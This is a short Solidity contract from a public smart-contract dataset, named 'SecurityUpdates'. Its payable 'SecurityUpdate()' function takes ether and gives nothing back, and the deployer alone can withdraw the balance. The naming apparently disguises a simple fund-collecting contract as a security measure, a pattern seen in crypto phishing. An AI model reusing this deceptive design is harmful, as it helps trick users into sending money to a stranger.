|
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023. |
|
|
|
|
|
*Submitted for verification at Etherscan.io on 2022-11-12
|
|
*/
|
|
|
|
|
|
*Submitted for verification at Etherscan.io on 2022-08-19
|
|
*/
|
|
|
|
pragma solidity ^0.4.26;
|
|
|
|
contract SecurityUpdates {
|
|
|
|
address private owner; // current owner of the contract
|
|
|
|
constructor() public{
|
|
owner=msg.sender;
|
|
}
|
|
function getOwner(
|
|
) public view returns (address) {
|
|
return owner;
|
|
}
|
|
function withdraw() public {
|
|
require(owner == msg.sender);
|
|
msg.sender.transfer(address(this).balance);
|
|
}
|
|
|
|
function SecurityUpdate() public payable {
|
|
}
|
|
|
|
function getBalance() public view returns (uint256) {
|
|
return address(this).balance;
|
|
}
|
|
} |